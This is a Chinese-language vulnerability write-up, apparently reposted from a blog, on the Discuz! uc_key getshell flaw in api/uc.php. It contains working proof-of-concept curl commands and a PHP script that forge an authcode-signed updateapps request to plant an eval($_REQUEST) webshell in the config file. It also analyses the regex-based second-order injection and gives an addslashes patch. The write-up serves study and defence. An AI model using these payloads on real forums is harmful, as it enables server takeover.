目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
在Discuz中，uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-0481372. 漏洞触发条件
1. 必须知道UC_KEY，通常在配置文件里，或者ucenter的原始(没有经过修改的)数据库(应用)中 2. 配置文件config.inc.php必须可写
0x1: POC
curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k/Pv8YhgZ2g" -d "https://sb\');eval(\\$_REQUEST[c]);#"
<?php $key = 'd0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872';# uc_key 写在这里 $url = 'http://localhost/discuz/upload/api/uc.php'; $arg = 'action=updateapps&time='.time(); #拿webshell：http://localhost/discuz/upload/config/config_ucenter.php 密码：c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>0x2: POC2
curl "http://127.0.0.1:8080/extensions/ucenter/api/uc.php?code=e139ylLunDNWWxMq92dSnChgJx5sLyx30MdgX7YkcUVAkyxJplcnrcb85BmYeYpFXXguNEn5GvQ9MxdMmRM" -d "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><root><item id=\"UC_API\">https://zz');eval(\$_REQUEST[zz]);//</item></root>"Shell地址
http://127.0.0.1:8080/extensions/ucenter/config.inc.php zzRelevant Link:
http://faq.comsenz.com/viewnews-391 http://0day5.com/archives/1140 http://www.waitalone.cn/discuz-uc_key-getshell.html http://www.sqlmap.cc/post-134.html3. 漏洞影响范围4. 漏洞代码分析
/api/uc.php
function updateapps($get, $post) { global $_G; if(!API_UPDATEAPPS) { return API_RETURN_FORBIDDEN; } $UC_API = ''; if($post['UC_API']) { $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']); unset($post['UC_API']); } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php'; $fp = fopen($cachefile, 'w'); $s = "<?php\r\n"; $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n"; fwrite($fp, $s); fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) { //Discuz x系列的添加了个正则 所以加个 http://、https:// if(preg_match('/^https?:\/\//is', $UC_API)) { $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php')); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; /* 这行代码是漏洞的关键 1. 第一次提交: \');phpinfo(); /config/config_ucenter.php里的define那句就变成了: define('UC_API','\');phpinfo();'); 2. 第二次再提交 非贪婪匹配会匹配到: define('UC_API','\'); phpinfo();就留下来了 完成二次注入 */ $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile); if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) { @fwrite($fp, trim($configfile)); @fclose($fp); } } } return API_RETURN_SUCCEED; }Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-0481375. 防御方法
如果说class_core.php是执行初始化的工作，或者说声明必要的内容，那么这里的C::app()->init()就是把基本上需要的内容都获取到，例如数据库连接，后台设置的内容，用户信息，session信息等等
/api/uc.php
if(!defined('IN_UC')) { require_once '../source/class/class_core.php'; //初始化检测 if (method_exists("C", "app")) { $discuz = C::app(); $discuz->init(); } require DISCUZ_ROOT.'./config/config_ucenter.php'; $get = $post = array(); $code = @$_GET['code']; parse_str(authcode($code, 'DECODE', UC_KEY), $get); if(time() - $get['time'] > 3600) { exit('Authracation has expiried'); } if(empty($get)) { exit('Invalid Request'); } include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php'; $post = xml_unserialize(file_get_contents('php://input')); if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) { $uc_note = new uc_note(); echo $uc_note->$get['action']($get, $post); exit(); } else { exit(API_RETURN_FAILED); } } else { exit; }继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中
private function _get_script_url() { if(!isset($this->var['PHP_SELF'])) { $scriptName = basename($_SERVER['SCRIPT_FILENAME']); if(basename($_SERVER['SCRIPT_NAME']) === $scriptName) { $this->var['PHP_SELF'] = $_SERVER['SCRIPT_NAME']; } else if(basename($_SERVER['PHP_SELF']) === $scriptName) { $this->var['PHP_SELF'] = $_SERVER['PHP_SELF']; } else if(isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $scriptName) { $this->var['PHP_SELF'] = $_SERVER['ORIG_SCRIPT_NAME']; } else if(($pos = strpos($_SERVER['PHP_SELF'],'/'.$scriptName)) !== false) { $this->var['PHP_SELF'] = substr($_SERVER['SCRIPT_NAME'],0,$pos).'/'.$scriptName; } else if(isset($_SERVER['DOCUMENT_ROOT']) && strpos($_SERVER['SCRIPT_FILENAME'],$_SERVER['DOCUMENT_ROOT']) === 0) { $this->var['PHP_SELF'] = str_replace('\\','/',str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SERVER['SCRIPT_FILENAME'])); $this->var['PHP_SELF'][0] != '/' && $this->var['PHP_SELF'] = '/'.$this->var['PHP_SELF']; } else { system_error('request_tainting'); } } return $this->var['PHP_SELF']; } private function _init_input() { if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) || isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) { system_error('request_tainting'); } if(MAGIC_QUOTES_GPC) { $_GET = dstripslashes($_GET); $_POST = dstripslashes($_POST); $_COOKIE = dstripslashes($_COOKIE); } $prelength = strlen($this->config['cookie']['cookiepre']); foreach($_COOKIE as $key => $val) { if(substr($key, 0, $prelength) == $this->config['cookie']['cookiepre']) { $this->var['cookie'][substr($key, $prelength)] = $val; } } if($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_POST)) { $_GET = array_merge($_GET, $_POST); } if(isset($_GET['page'])) { $_GET['page'] = rawurlencode($_GET['page']); } if(!(!empty($_GET['handlekey']) && preg_match('/^\w+$/', $_GET['handlekey']))) { unset($_GET['handlekey']); } if(!empty($this->var['config']['input']['compatible'])) { foreach($_GET as $k => $v) { $this->var['gp_'.$k] = daddslashes($v); } } $this->var['mod'] = empty($_GET['mod']) ? '' : dhtmlspecialchars($_GET['mod']); $this->var['inajax'] = empty($_GET['inajax']) ? 0 : (empty($this->var['config']['output']['ajaxvalidate']) ? 1 : ($_SERVER['REQUEST_METHOD'] == 'GET' && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' || $_SERVER['REQUEST_METHOD'] == 'POST' ? 1 : 0)); $this->var['page'] = empty($_GET['page']) ? 1 : max(1, intval($_GET['page'])); $this->var['sid'] = $this->var['cookie']['sid'] = isset($this->var['cookie']['sid']) ? dhtmlspecialchars($this->var['cookie']['sid']) : ''; if(empty($this->var['cookie']['saltkey'])) { $this->var['cookie']['saltkey'] = random(8); dsetcookie('saltkey', $this->var['cookie']['saltkey'], 86400 * 30, 1, 1); } $this->var['authkey'] = md5($this->var['config']['security']['authkey'].$this->var['cookie']['saltkey']); }/api/uc.php
function updateapps($get, $post) { /* */ if($post['UC_API']) { $post['UC_API'] = addslashes($post['UC_API']); } /**/ global $_G; if(!API_UPDATEAPPS) { return API_RETURN_FORBIDDEN; } $UC_API = ''; if($post['UC_API']) { $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']); unset($post['UC_API']); } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php'; $fp = fopen($cachefile, 'w'); $s = "<?php\r\n"; $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n"; fwrite($fp, $s); fclose($fp); if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) { if(preg_match('/^https?:\/\//is', $UC_API)) { $configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php')); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) { @fwrite($fp, trim($configfile)); @fclose($fp); } } } return API_RETURN_SUCCEED; }Relevant Link:
http://blog.csdn.net/jesson002/article/details/111668276. 攻防思考
Relevant Link:
http://www.oldjun.com/blog/index.php/archives/59/ http://www.sqlmap.cc/post-17.html http://www.oldjun.com/blog/index.php/archives/76/
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转载于:https://www.cnblogs.com/LittleHann/p/4353380.html
相关资源：UCenter(uc.php)